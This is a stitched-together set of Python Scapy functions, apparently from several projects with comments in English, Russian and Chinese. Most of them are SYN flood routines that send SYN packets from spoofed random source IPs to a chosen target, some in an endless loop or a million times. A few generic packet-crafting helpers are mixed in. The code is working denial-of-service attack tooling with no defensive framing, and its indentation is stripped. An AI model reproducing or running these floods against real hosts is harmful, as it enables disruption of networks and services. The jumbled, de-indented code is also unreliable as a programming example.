def SYN_TCP_Flood(self, dstIP, dstPort, counter):
try:
total = 0
print("Packets are sending ...")
for x in range(0, int(counter)):
s_port = random.randint(1000, 9000)
s_eq = random.randint(1000, 9000)
w_indow = random.randint(1000, 9000)
IP_Packet = IP()
IP_Packet.src = ".".join(
map(str, (random.randint(0, 255) for _ in range(4))))
IP_Packet.dst = dstIP
# Created our own TCP packet
TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(dstPort)
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet / TCP_Packet, verbose=0)
total += 1
print("\nTotal packets sent: %i\n" % total)
print()
return 1
except:
return 0
def SYN_Flood(targetIP, targetPort, counter):
total = 0 # total number of packets sent to the target
print
"Packets are being sent to the target ..."
for x in range(0, counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
# randomly generate all of these values (s_port, s_eq, w_indow using randInt() function
IP_Packet = IP()
IP_Packet.src = randomIP()
# randomly generate IP address to be sending packets from
IP_Packet.dst = targetIP
TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = targetPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet / TCP_Packet, verbose=0)
total += 1
sys.stdout.write("\nTotal packets sent to target : %i\n" % total)
def SYN_Flood(t_ip, t_port):
print("Пакеты отправляются")
global stop_thread
stop_thread = True
while stop_thread:
global packets
ip_p = IP()
ip_p.src = randomIP() # записываем в поле ip источника случайный ip
#ip_p.src = "8.8.8.8"
ip_p.dst = t_ip # записываем ip сервера
tcp_p = TCP()
#tcp_p.sport = 234
tcp_p.sport = randint(
0, 6000) # записываем в поле port источника случайный port
tcp_p.dport = t_port # записываем port сервер
tcp_p.flags = "S" # устанавливаем флаг SYN
tcp_p.seq = randint(0,
9000) # устанавливаем случайный порядковый номер ?
tcp_p.window = randint(5000, 8191) # устанавливаем случайное окно ?
send(ip_p / tcp_p, verbose=False) # отправляем пакет
packets += 1
myapp.ui.packetsCount.setText(str(packets))
# print("Пакет {0} отправлен".format(i + 1))
packets = 0
myapp.ui.packetsCount.setText(str(packets))
def cmd_tcpip(ip_src, ip_dst, TOS, ttl, id, reserved, seq_num, window, urg_ptr,
flags, payload, src_port):
layer3 = IP()
layer3.src = ip_src
layer3.dst = ip_dst
tos_num = int(TOS, 2)
print(tos_num)
layer3.tos = tos_num
layer3.ttl = ttl
layer3.ihl = 5
layer3.id = id
layer4 = TCP()
layer4.dport = 80
layer4.sport = src_port
num = int(reserved, 2)
binary_num = bin(num)
print(binary_num)
layer4.reserved = num
# layer4.flags = "S"
layer4.flags = flags
layer4.window = window
layer4.urgptr = int(urg_ptr, 2)
layer4.seq = seq_num
print("1")
if not payload:
pkt = layer3 / layer4
else:
pkt = layer3 / layer4 / payload
send(pkt)
def getTCPPacket(self):
"""
构造TCP数据包
:return:
"""
try:
ip_packet = IP()
ip_packet.version = int(self.entries[8].get())
ip_packet.ihl = int(self.entries[9].get())
ip_packet.tos = int(self.entries[10].get())
ip_packet.id = int(self.entries[11].get())
# ip_packet.flags = int(self.entries[12].get())
ip_packet.frag = int(self.entries[13].get())
ip_packet.ttl = int(self.entries[14].get())
# ip_packet.chksum = self.entries[15].get()
ip_packet.src = self.entries[16].get()
ip_packet.dst = self.entries[17].get()
tcp_packet = TCP()
tcp_packet.sport = int(self.entries[0].get())
tcp_packet.dport = int(self.entries[1].get())
tcp_packet.seq = int(self.entries[2].get())
tcp_packet.ack = int(self.entries[3].get())
tcp_packet.dataofs = int(self.entries[4].get())
tcp_packet.flags = int(self.entries[5].get())
tcp_packet.window = int(self.entries[6].get())
# tcp_packet.chksum = self.entries[7].get()
# scapy自动计算IP、TCP校验和
# 获得数据包的二进制值
pkg_raw = raw(ip_packet / tcp_packet)
tcp_packet_raw = pkg_raw[20:]
# 构造数据包，自动计算校验和
scapy_chksum_IP = IP(pkg_raw).chksum
scapy_chksum_tcp = TCP(tcp_packet_raw).chksum
print("scapy自动计算的TCP校验和为：%04x" % scapy_chksum_tcp)
# 手动计算TCP校验和
tcp_packet.chksum = 0
packet = ip_packet / tcp_packet
tcp_raw = raw(packet)[20:]
self_chksum = in4_chksum(socket.IPPROTO_TCP, packet[IP], tcp_raw)
print("手动计算的TCP校验和为：%04x" % self_chksum)
if self_chksum == scapy_chksum_tcp:
print("TCP验证和正确")
else:
print("TCP验证和不正确")
tcp_packet.chksum = scapy_chksum_tcp
self.entries[7].delete(0, END)
self.entries[7].insert(0, hex(scapy_chksum_tcp))
self.entries[15].delete(0, END)
self.entries[15].insert(0, hex(scapy_chksum_IP))
tcp_packet.show()
self.resultText.insert('end', tcp_packet.summary() + '\n')
self.resultText.insert('end', str(tcp_packet) + '\n')
return Ether() / ip_packet / tcp_packet
except Exception as e:
print(e.with_traceback())
finally:
pass
def syn_flood(ip_dst, dport, amnt):
packet_deserved = 0
print("\nНачало отправки...")
for packet in range(0, amnt):
s_port, s_eq, w_indow = get_random_int(), get_random_int(), get_random_int()
IP_Packet = IP()
IP_Packet.src, IP_Packet.dst = get_random_IP(), ip_dst
TCP_Packet = TCP()
TCP_Packet.sport, TCP_Packet.dport = s_port, dport
TCP_Packet.flags = "S"
TCP_Packet.seq, TCP_Packet.window = s_eq, w_indow
send(IP_Packet / TCP_Packet, verbose=0)
packet_deserved += 1
print('\nВсего пакетов отправлено', packet_deserved)
def fsend(self, payload, seq=None, ack=None, tcp=None, flags=None):
"""
fsend(payload, seq=None, ack=None, tcp=None, flags=None)
send a packet without be connected
NOTE: will break the seq and ack numbers if you're currently connected
:param payload: payload to be sent
:param seq: specify new seq number
:param ack: specify new ack number
:param tcp: specify tcp segment of the packet
:param flags: specify tcp flags
"""
ip = IP(src=self.src, dst=self.dst)
tcp = tcp
if tcp is None:
tcp = TCP(sport=self.sport, dport=self.dport)
tcp.seq = seq
tcp.ack = ack
tcp.flags = flags
send(ip / tcp / payload)
def SYN_Flood(dstIP, dstPort, counter):
total = 0
avg_time = 0
print("Packets are sending ...")
attack_begin = time.process_time()
for x in range(0, counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
start = time.process_time()
send(IP_Packet / TCP_Packet, verbose=0)
time_per_packet = (time.process_time() - start)
# Write it in a file
with open('syns_results_p.txt', 'a') as f:
f.write(f'{x}, {time_per_packet}\n')
avg_time = avg_time+ time_per_packet
total += 1
attack_time = time.process_time() - attack_begin
avg_time = avg_time/total
with open('syns_results_p.txt', 'a') as f:
f.write(f'\nTotal time - {attack_time}')
f.write(f'\nAverage time - {avg_time}')
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
f.write(f'\nFinishing time: {current_time}')
print(f"\nTotal packets sent: {total}\n")
def SYN_Flood(dstIP, dstPort):
total = 0
print("Packets are sending ...")
for x in range(0, 1000000):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet / TCP_Packet, verbose=0)
print('one was sent')
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
